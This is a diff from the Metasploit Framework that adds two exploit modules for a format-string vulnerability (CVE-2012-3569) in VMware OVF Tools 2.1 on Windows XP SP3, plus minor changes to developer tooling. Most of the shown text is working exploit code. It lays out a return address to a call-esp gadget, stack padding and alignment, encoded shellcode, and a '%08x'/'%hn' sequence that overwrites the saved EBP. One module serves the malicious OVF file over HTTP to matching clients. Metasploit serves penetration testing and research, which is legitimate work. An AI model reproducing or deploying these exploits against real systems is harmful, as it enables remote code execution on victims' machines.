+ 'Jeremy Brown', # Vulnerability discovery
+ 'juan vazquez' # Metasploit Module
+ ],
+ 'References' =>
+ [
+ [ 'CVE', '2012-3569' ],
+ [ 'OSVDB', '87117' ],
+ [ 'BID', '56468' ],
+ [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ]
+ ],
+ 'Payload' =>
+ {
+ 'DisableNops' => true,
+ 'BadChars' =>
+ (0x00..0x08).to_a.pack("C*") +
+ "\x0b\x0c\x0e\x0f" +
+ (0x10..0x1f).to_a.pack("C*") +
+ (0x80..0xff).to_a.pack("C*") +
+ "\x22",
+ 'StackAdjustment' => -3500,
+ 'PrependEncoder' => "\x54\x59", # push esp # pop ecx
+ 'EncoderOptions' =>
+ {
+ 'BufferRegister' => 'ECX',
+ 'BufferOffset' => 6
+ }
+ },
+ 'DefaultOptions' =>
+ {
+ 'InitialAutoRunScript' => 'migrate -f'
+ },
+ 'Platform' => 'win',
+ 'Targets' =>
+ [
+ # vmware-ovftool-2.1.0-467744-win-i386.msi
+ [ 'VMWare OVF Tools 2.1 on Windows XP SP3',
+ {
+ 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
+ 'AddrPops' => 98,
+ 'StackPadding' => 38081,
+ 'Alignment' => 4096
+ }
+ ],
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => 'Nov 08 2012',
+ 'DefaultTarget' => 0))
+
+ end
+
+ def ovf
+ my_payload = rand_text_alpha(4) # ebp
+ my_payload << [target.ret].pack("V") # eip # call esp
+ my_payload << payload.encoded
+
+ fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
+ fs << rand_text_alpha(target['Alignment']) # Align to 0x11000
+ fs << my_payload
+ # 65536 => 0x10000
+ # 27 => Error message prefix length
+ fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
+ fs << "%08x" * target['AddrPops'] # Reach saved EBP
+ fs << "%hn" # Overwrite LSW of saved EBP with 0x1000
+
+ ovf_file = <<-EOF
+
+
+
+
+
+
+ Virtual disk information
+
+
+
+ A virtual machine
+
+
+ EOF
+ ovf_file
+ end
+
+ def on_request_uri(cli, request)
+ agent = request.headers['User-Agent']
+ uri = request.uri
+
+ if agent !~ /VMware-client/ or agent !~ /ovfTool/
+ print_status("User agent #{agent} not recognized, answering Not Found...")
+ send_not_found(cli)
+ end
+
+ if uri =~ /.mf$/
+ # The manifest file isn't required
+ print_status("Sending Not Found for Manifest file request...")
+ send_not_found(cli)
+ end
+
+ print_status("Sending OVF exploit...")
+ send_response(cli, ovf, {'Content-Type'=>'text/xml'})
+ end
+
+end
\ No newline at end of file
diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
index a8ba842b7e..2e2ad87d3f 100644
--- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
+++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
@@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' =>
[
'Unknown', # 0day found in the wild
- '@sn0wfl0w', # initial analysis
- '@vicheck', # initial analysis
+ 'sn0wfl0w', # initial analysis, also @vicheck on twitter
'jduck' # Metasploit module
],
'References' =>
diff --git a/modules/exploits/windows/fileformat/ovf_format_string.rb b/modules/exploits/windows/fileformat/ovf_format_string.rb
new file mode 100644
index 0000000000..cbd21fed2a
--- /dev/null
+++ b/modules/exploits/windows/fileformat/ovf_format_string.rb
@@ -0,0 +1,119 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ include Msf::Exploit::FILEFORMAT
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'VMWare OVF Tools Format String Vulnerability',
+ 'Description' => %q{
+ This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
+ Windows. The vulnerability occurs when printing error messages while parsing a
+ a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
+ 2.1 on Windows XP SP3.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Jeremy Brown', # Vulnerability discovery
+ 'juan vazquez' # Metasploit Module
+ ],
+ 'References' =>
+ [
+ [ 'CVE', '2012-3569' ],
+ [ 'OSVDB', '87117' ],
+ [ 'BID', '56468' ],
+ [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ]
+ ],
+ 'Payload' =>
+ {
+ 'DisableNops' => true,
+ 'BadChars' =>
+ (0x00..0x08).to_a.pack("C*") +
+ "\x0b\x0c\x0e\x0f" +
+ (0x10..0x1f).to_a.pack("C*") +
+ (0x80..0xff).to_a.pack("C*") +
+ "\x22",
+ 'StackAdjustment' => -3500,
+ 'PrependEncoder' => "\x54\x59", # push esp # pop ecx
+ 'EncoderOptions' =>
+ {
+ 'BufferRegister' => 'ECX',
+ 'BufferOffset' => 6
+ }
+ },
+ 'Platform' => 'win',
+ 'Targets' =>
+ [
+ # vmware-ovftool-2.1.0-467744-win-i386.msi
+ [ 'VMWare OVF Tools 2.1 on Windows XP SP3',
+ {
+ 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
+ 'AddrPops' => 98,
+ 'StackPadding' => 38081,
+ 'Alignment' => 4096
+ }
+ ],
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => 'Nov 08 2012',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ovf']),
+ ], self.class)
+ end
+
+ def ovf
+ my_payload = rand_text_alpha(4) # ebp
+ my_payload << [target.ret].pack("V") # eip # call esp
+ my_payload << payload.encoded
+
+ fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
+ fs << rand_text_alpha(target['Alignment']) # Align to 0x11000
+ fs << my_payload
+ # 65536 => 0x10000
+ # 27 => Error message prefix length
+ fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
+ fs << "%08x" * target['AddrPops'] # Reach saved EBP
+ fs << "%hn" # Overwrite LSW of saved EBP with 0x1000
+
+ ovf_file = <<-EOF
+
+
+
+
+
+
+ Virtual disk information
+
+
+
+ A virtual machine
+
+
+ EOF
+ ovf_file
+ end
+
+ def exploit
+ print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1")
+ file_create(ovf)
+ end
+end
diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb
new file mode 100755
index 0000000000..2625d6d64a
--- /dev/null
+++ b/tools/dev/pre-commit-hook.rb
@@ -0,0 +1,54 @@
+#!/usr/bin/env ruby
+
+# Check that modules actually pass msftidy checks first.
+# To install this script, make this your pre-commit hook your local
+# metasploit-framework clone. For example, if you have checked out
+# the Metasploit Framework to:
+#
+# /home/mcfakepants/git/metasploit-framework
+#
+# then you will copy this script to:
+#
+# /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit
+#
+# You must mark it executable (chmod +x), and do not name it
+# pre-commit.rb (just pre-commit)
+#
+# If you want to keep up on changes with this hook, just:
+#
+# ln -sf
+
+valid = true # Presume validity
+files_to_check = []
+
+results = %x[git diff --cached --name-only]
+
+results.each_line do |fname|
+ fname.strip!
+ next unless File.exist?(fname) and File.file?(fname)
+ next unless fname =~ /modules.+\.rb/
+ files_to_check << fname
+end
+
+if files_to_check.empty?
+ puts "--- No Metasploit modules to check, committing. ---"
+else
+ puts "--- Checking module syntax with tools/msftidy.rb ---"
+ files_to_check.each do |fname|
+ cmd = "ruby ./tools/msftidy.rb #{fname}"
+ msftidy_output= %x[ #{cmd} ]
+ puts "#{fname} - msftidy check passed" if msftidy_output.empty?
+ msftidy_output.each_line do |line|
+ valid = false
+ puts line
+ end
+ end
+ puts "-" * 52
+end
+
+unless valid
+ puts "msftidy.rb objected, aborting commit"
+ puts "To bypass this check use: git commit --no-verify"
+ puts "-" * 52
+ exit(1)
+end
diff --git a/tools/msftidy.rb b/tools/msftidy.rb
index aa63bea6a4..8faa3b03d5 100755
--- a/tools/msftidy.rb
+++ b/tools/msftidy.rb
@@ -204,7 +204,7 @@ class Msftidy
end
if author_name =~ /^@.+$/
- error("No Twitter handle, please. Try leaving it in a comment instead.")
+ error("No Twitter handles, please. Try leaving it in a comment instead.")
end
if not author_name.ascii_only?
@@ -226,9 +226,7 @@ class Msftidy
puts "Checking syntax for #{f_rel}."
rubies ||= RVM.list_strings
res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/}
- rubies.size == res.size
-
- error("Fails alternate Ruby version check") if rubies.size
+ error("Fails alternate Ruby version check") if rubies.size != res.size
end
def check_ranking
@@ -281,6 +279,7 @@ class Msftidy
words.each do |word|
if %w{and or the for to in of as with a an on at}.include?(word)
next
+ elsif %w{pbot}.include?(word)
elsif word =~ /^[a-z]+$/
warn("Improper capitalization in module title: '#{word}'")
end